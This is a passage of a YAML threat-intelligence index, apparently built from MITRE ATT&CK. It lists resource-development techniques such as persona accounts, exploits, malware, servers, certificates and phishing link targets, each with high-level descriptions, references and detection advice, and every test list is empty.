        Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)

        For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)

        Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)
      id: attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T03:10:35.877Z'
      created: '2020-10-01T01:05:42.216Z'
      x_mitre_detection: |-
        Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1587.004:
    technique:
      created: '2020-10-01T01:48:15.511Z'
      modified: '2021-04-15T03:07:53.803Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      type: attack-pattern
      id: attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2
      description: |-
        Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)

        As with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.

        Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).
      name: Exploits
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1587.004
        url: https://attack.mitre.org/techniques/T1587/004
      - source_name: NYTStuxnet
        description: William J. Broad, John Markoff, and David E. Sanger. (2011, January
          15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved
          March 1, 2017.
        url: https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html
      - source_name: Irongeek Sims BSides 2017
        url: https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims
        description: Stephen Sims. (2017, April 30). Microsoft Patch Analysis for
          Exploitation. Retrieved October 16, 2020.
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on behaviors relating to the use of exploits (i.e.
        [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190),
        [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203),
        [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068),
        [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211),
        [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212),
        [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210),
        and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).
    atomic_tests: []
  T1588.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1588.005
        url: https://attack.mitre.org/techniques/T1588/005
      - source_name: Exploit Database
        url: https://www.exploit-db.com/
        description: Offensive Security. (n.d.). Exploit Database. Retrieved October
          15, 2020.
      - source_name: TempertonDarkHotel
        description: Temperton, J. (2015, August 10). Hacking Team zero-day used in
          new Darkhotel attacks. Retrieved March 9, 2017.
        url: https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage
      - source_name: NationsBuying
        description: Nicole Perlroth and David E. Sanger. (2013, July 12). Nations
          Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.
        url: https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html
      - url: https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/
        description: 'Bill Marczak and John Scott-Railton. (2016, August 24). The
          Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE
          Human Rights Defender. Retrieved December 12, 2016.'
        source_name: PegasusCitizenLab
      - source_name: Wired SandCat Oct 2019
        url: https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec
        description: Zetter, K. (2019, October 3). Researchers Say They Uncovered
          Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved
          October 15, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Exploits
      description: |-
        Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)

        In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)

        An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.

        Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).
      id: attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T03:14:01.255Z'
      created: '2020-10-01T02:17:46.086Z'
      x_mitre_detection: |2-

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1608.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1608.003
        url: https://attack.mitre.org/techniques/T1608/003
      - source_name: DigiCert Install SSL Cert
        url: https://www.digicert.com/kb/ssl-certificate-installation.htm
        description: DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved
          April 19, 2021.
      - source_name: Splunk Kovar Certificates 2017
        url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html
        description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL
          Certificates. Retrieved October 16, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Install Digital Certificate
      description: "Adversaries may install SSL/TLS certificates that can be used
        during targeting. SSL/TLS certificates are files that can be installed on
        servers to enable secure communications between systems. Digital certificates
        include information about the key, information about its owner's identity,
        and the digital signature of an entity that has verified the certificate's
        contents are correct. If the signature is valid, and the person examining
        the certificate trusts the signer, then they know they can use that key to
        communicate securely with its owner. Certificates can be uploaded to a server,
        then the server can be configured to use the certificate to enable encrypted
        communication with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries
        may install SSL/TLS certificates that can be used to further their operations,
        such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002)
        with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending
        credibility to a credential harvesting site. Installation of digital certificates
        may take place for a number of server types, including web servers and email
        servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004))
        or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)).
        Digital certificates can then be installed on adversary controlled infrastructure
        that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583))
        or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584))."
      id: attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-26T18:43:18.448Z'
      created: '2021-03-17T20:32:13.793Z'
      x_mitre_detection: |-
        Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)

        Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1608.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1608.005
        url: https://attack.mitre.org/techniques/T1608/005
      - source_name: Malwarebytes Silent Librarian October 2020
        url: https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/
        description: Malwarebytes Threat Intelligence Team. (2020, October 14). Silent
          Librarian APT right on schedule for 20/21 academic year. Retrieved February
          3, 2021.
      - source_name: Proofpoint TA407 September 2019
        url: https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian
        description: 'Proofpoint Threat Insight Team. (2019, September 5). Threat
          Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Link Target
      description: "Adversaries may put in place resources that are referenced by
        a link that can be used during targeting. An adversary may rely upon a user
        clicking a malicious link in order to divulge information (including credentials)
        or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001).
        Links can be used for spearphishing, such as sending an email accompanied
        by social engineering text to coax the user to actively click or copy and
        paste a URL into a browser. Prior to a phish for information (as in [Spearphishing
        Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial
        access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)),
        an adversary must set up the resources for a link target for the spearphishing
        link. \n\nTypically, the resources for a link target will be an HTML page
        that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007)
        to decide what content to serve to the user. Adversaries may clone legitimate
        sites to serve as the link target, this can include cloning of login pages
        of legitimate web services or organization login pages in an effort to harvest
        credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation:
        Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September
        2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001)
        and have the link target point to malware for download/execution by the user.\n\nAdversaries
        may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting,
        different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001))
        to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001).
        Link shortening services can also be employed."
      id: attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-27T17:53:29.106Z'
      created: '2021-03-17T20:35:08.429Z'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on other phases of the adversary lifecycle, such as
        during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003),
        [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious
        Link](https://attack.mitre.org/techniques/T1204/001).
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1587.001:
    technique:
      created: '2020-10-01T01:33:01.433Z'
      modified: '2021-04-15T03:08:33.165Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      type: attack-pattern
      id: attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0
      description: |-
        Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)

        As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.

        Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)
      name: Malware
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1587.001
        url: https://attack.mitre.org/techniques/T1587/001
      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
          Units. Retrieved July 18, 2016.
        source_name: Mandiant APT1
      - source_name: Kaspersky Sofacy
        description: Kaspersky Lab's Global Research and Analysis Team. (2015, December
          4). Sofacy APT hits high profile targets with updated toolset. Retrieved
          December 10, 2015.
        url: https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
      - source_name: ActiveMalwareEnergy
        description: Dan Goodin. (2014, June 30). Active malware operation let attackers
          sabotage US energy industry. Retrieved March 9, 2017.
        url: https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/
      - source_name: FBI Flash FIN7 USB
        url: https://www.losangeles.va.gov/documents/MI-000120-MW.pdf
        description: Federal Bureau of Investigation, Cyber Division. (2020, March
          26). FIN7 Cyber Actors Targeting US Businesses Through USB Keystroke Injection
          Attacks. Retrieved October 14, 2020.
      - source_name: FireEye APT29
        description: 'FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define
          a Russian Cyber Threat Group. Retrieved September 17, 2015.'
        url: https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on post-compromise phases of the adversary lifecycle.
    atomic_tests: []
  T1588.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1588.001
        url: https://attack.mitre.org/techniques/T1588/001
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Malware
      description: |-
        Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.

        In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).
      id: attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T03:14:41.582Z'
      created: '2020-10-01T02:06:11.499Z'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on post-compromise phases of the adversary lifecycle.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1588:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1588
        url: https://attack.mitre.org/techniques/T1588
      - source_name: NationsBuying
        description: Nicole Perlroth and David E. Sanger. (2013, July 12). Nations
          Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.
        url: https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html
      - url: https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/
        description: 'Bill Marczak and John Scott-Railton. (2016, August 24). The
          Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE
          Human Rights Defender. Retrieved December 12, 2016.'
        source_name: PegasusCitizenLab
      - description: Fisher, D. (2012, October 31). Final Report on DigiNotar Hack
          Shows Total Compromise of CA Servers. Retrieved March 6, 2017.
        source_name: DiginotarCompromise
        url: https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Obtain Capabilities
      description: |-
        Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.

        In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)

        In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)
      id: attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T03:15:21.193Z'
      created: '2020-10-01T01:56:24.776Z'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during Defense Evasion or Command and Control.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1583.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1583.004
        url: https://attack.mitre.org/techniques/T1583/004
      - source_name: NYTStuxnet
        description: William J. Broad, John Markoff, and David E. Sanger. (2011, January
          15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved
          March 1, 2017.
        url: https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Server
      description: |-
        Adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations.

        Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)
      id: attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T02:51:18.167Z'
      created: '2020-10-01T00:48:09.578Z'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during Command and Control.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1584.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1584.004
        url: https://attack.mitre.org/techniques/T1584/004
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Server
      description: |-
        Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.

        Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).
      id: attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T03:03:22.184Z'
      created: '2020-10-01T00:56:25.135Z'
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during Command and Control.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1585.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1585.001
        url: https://attack.mitre.org/techniques/T1585/001
      - source_name: NEWSCASTER2014
        description: Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials
          in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.
        url: https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation
      - source_name: BlackHatRobinSage
        description: Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved
          March 6, 2017.
        url: http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Social Media Accounts
      description: "Adversaries may create and cultivate social media accounts that
        can be used during targeting. Adversaries can create social media accounts
        that can be used to build a persona to further operations. Persona development
        consists of the development of public information, presence, history and appropriate
        affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor
        operations incorporating social engineering, the utilization of a persona
        on social media may be important. These personas may be fictitious or impersonate
        real people. The persona may exist on a single social media site or across
        multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona
        \ on social media may require development of additional documentation to make
        them seem real. This could include filling out profile information, developing
        social networks, or incorporating photos. \n\nOnce a persona has been developed
        an adversary can use it to create connections to targets of interest. These
        connections may be direct or may include trying to connect through others.(Citation:
        NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged
        during other phases of the adversary lifecycle, such as during Initial Access
        (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003))."
      id: attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T03:10:35.708Z'
      created: '2020-10-01T01:08:41.124Z'
      x_mitre_detection: |-
        Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1586.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1586.001
        url: https://attack.mitre.org/techniques/T1586/001
      - source_name: AnonHBGary
        description: 'Bright, P. (2011, February 15). Anonymous speaks: the inside
          story of the HBGary hack. Retrieved March 9, 2017.'
        url: https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
      - source_name: NEWSCASTER2014
        description: Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials
          in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.
        url: https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation
      - source_name: BlackHatRobinSage
        description: Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved
          March 6, 2017.
        url: http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Social Media Accounts
      description: "Adversaries may compromise social media accounts that can be used
        during targeting. For operations incorporating social engineering, the utilization
        of an online persona may be important. Rather than creating and cultivating
        social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)),
        adversaries may compromise existing social media accounts. Utilizing an existing
        persona may engender a level of trust in a potential victim if they have a
        relationship, or knowledge of, the compromised persona. \n\nA variety of methods
        exist for compromising social media accounts, such as gathering credentials
        via [Phishing for Information](https://attack.mitre.org/techniques/T1598),
        purchasing credentials from third-party sites, or by brute forcing credentials
        (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior
        to compromising social media accounts, adversaries may conduct Reconnaissance
        to inform decisions about which accounts to compromise to further their operation.\n\nPersonas
        may exist on a single site or across multiple sites (ex: Facebook, LinkedIn,
        Twitter, etc.). Compromised social media accounts may require additional development,
        this could include filling out or modifying profile information, further developing
        social networks, or incorporating photos.\n\nAdversaries can use a compromised
        social media profile to create new, or hijack existing, connections to targets
        of interest. These connections may be direct or may include trying to connect
        through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised
        profiles may be leveraged during other phases of the adversary lifecycle,
        such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003))."
      id: attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      modified: '2021-04-15T02:59:06.872Z'
      created: '2020-10-01T01:18:35.535Z'
      x_mitre_detection: |-
        Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1608:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1608
        url: https://attack.mitre.org/techniques/T1608
